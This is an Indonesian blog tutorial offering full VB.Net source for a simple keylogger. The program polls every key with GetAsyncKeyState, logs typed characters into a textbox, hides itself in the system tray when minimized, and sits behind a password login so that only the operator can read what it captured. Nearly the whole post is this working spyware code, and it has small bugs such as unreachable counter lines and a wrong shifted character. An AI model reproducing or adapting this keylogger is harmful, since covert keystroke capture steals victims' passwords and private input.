SOY YOUNK BLOG'S

UNTUK SAHABAT BLOG INI DI BUAT…………………………

MEMBUAT KEYLOGGER SEDERHANA MENGGUNAKAN VB. Net 2010

Pertama agan2 buat dulu formnya, misalkan form 1…trus isi dgn source dibawah ini..

============== Mulai =================

Public Class Form1

Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Integer) As Short

Private Declare Function GetKeyState Lib “user32” (ByVal nVirtKey As Integer) As Short

Dim i As Object

Dim keyPressed As Object

Dim charCount As Int32

Dim lineLimit As Int32 = 69

Dim addKey As Object

Public Function getCapslock() As Boolean

getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)

End Function

Public Function getShift() As Boolean

getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))

End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Left = (SystemInformation.WorkingArea.Size.Width – Size.Width)

Top = (SystemInformation.WorkingArea.Size.Height – Size.Height)

Timer1.Enabled = False

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

On Error Resume Next

keyPressed = GetAsyncKeyState(13)

If keyPressed = -32767 Then

charCount = 0

addKey = vbCrLf

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(8)

If keyPressed = -32767 Then

addKey = “[bs]”

charCount += 4

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(32)

If keyPressed = -32767 Then

addKey = ” ”

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(186)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “;”

Else

addKey = “:”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(187)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “=”

Else

addKey = “+”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(188)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “,”

Else

addKey = “<”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(189)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “-”

Else

addKey = “_”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(190)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “.”

Else

addKey = “>”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(191)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “/”

Else

addKey = “?”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(192)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “`”

Else

addKey = “~”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(96)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “0”

Else

addKey = “)”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(97)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “1”

Else

addKey = “!”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(98)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “2”

Else

addKey = “@”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(99)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “3”

Else

addKey = “#”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(100)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “4”

Else

addKey = “$”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(101)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “5”

Else

addKey = “%”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(102)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “6”

Else

addKey = “7”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(103)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “7”

Else

addKey = “&”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(104)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “8”

Else

addKey = “*”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(105)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “9”

Else

addKey = “(”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(106)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “*”

charCount += 1

Else

addKey = “”

End If

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(107)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “+”

Else

addKey = “=”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(108)

If keyPressed = -32767 Then

addKey = “”

GoTo KeyFound

End If

keyPressed = GetAsyncKeyState(109)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “-”

Else

addKey = “_”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(110)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “.”

Else

addKey = “>”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(111)

If keyPressed = -32767 Then

addKey = “/”

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(2)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “/”

Else

addKey = “?”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(220)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “\”

Else

addKey = “|”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(222)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “‘”

Else

addKey = Chr(34)

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(221)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “]”

Else

addKey = “}”

End If

GoTo KeyFound

charCount += 1

End If

keyPressed = GetAsyncKeyState(219)

If keyPressed = -32767 Then

If getShift() = False Then

addKey = “[”

Else

addKey = “{”

End If

GoTo KeyFound

charCount += 1

End If

For i = 65 To 128

keyPressed = GetAsyncKeyState(i)

If keyPressed = -32767 Then

If getShift() = False Then

If getCapslock() = True Then

addKey = UCase(Chr(i))

Else

addKey = LCase(Chr(i))

End If

Else

If getCapslock() = False Then

addKey = UCase(Chr(i))

Else

addKey = LCase(Chr(i))

End If

End If

GoTo KeyFound

charCount += 1

End If

Next i

For i = 48 To 57

keyPressed = GetAsyncKeyState(i)

If keyPressed = -32767 Then

If getShift() = True Then

Select Case Val(Chr(i))

Case 1

addKey = “!”

Case 2

addKey = “@”

Case 3

addKey = “#”

Case 4

addKey = “$”

Case 5

addKey = “%”

Case 6

addKey = “^”

Case 7

addKey = “&”

Case 8

addKey = “*”

Case 9

addKey = “(”

Case 0

addKey = “)”

End Select

Else

addKey = Chr(i)

End If

GoTo KeyFound

charCount += 1

End If

Next i

System.Windows.Forms.Application.DoEvents()

Exit Sub

KeyFound:

If charCount > lineLimit Then

charCount = 0

TextBox1.AppendText(vbCrLf)

End If

If addKey <> “” Then TextBox1.AppendText(addKey)

System.Windows.Forms.Application.DoEvents()

End Sub

Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize

If Me.WindowState = FormWindowState.Minimized Then

Me.Hide()

NotifyIcon1.Visible = True

End If

End Sub

Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick

If isLock = True Then

login.Show()

NotifyIcon1.Visible = True

End If

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.WindowState = FormWindowState.Minimized

Me.Hide()

isLock = True

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

TextBox1.Clear()

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Timer1.Enabled = True

Label2.Text = “Aplication Starting…by BITS CybeR T3aM”

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click

Timer1.Enabled = False

Label2.Text = “Aplication Stopping…by BITS CybeR T3aM”

End Sub

Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked

System.Diagnostics.Process.Start(LinkLabel1.Text)

End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click

End

End Sub

End Class

===================== Berakhir =================

Setelah itu, agan tinggal bikin form login’a….tujuannya agar tidak ada yg bisa buka selain agan sendiri, karna cm agan ya mengetahui password’a …

trus masukin source berikut….!!

disini ane menggunakan password ” BITS ” ( Liat TextBox1 = BITS ).Nah password itu bisa agan ubah sendiri sesuai keinginan….

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: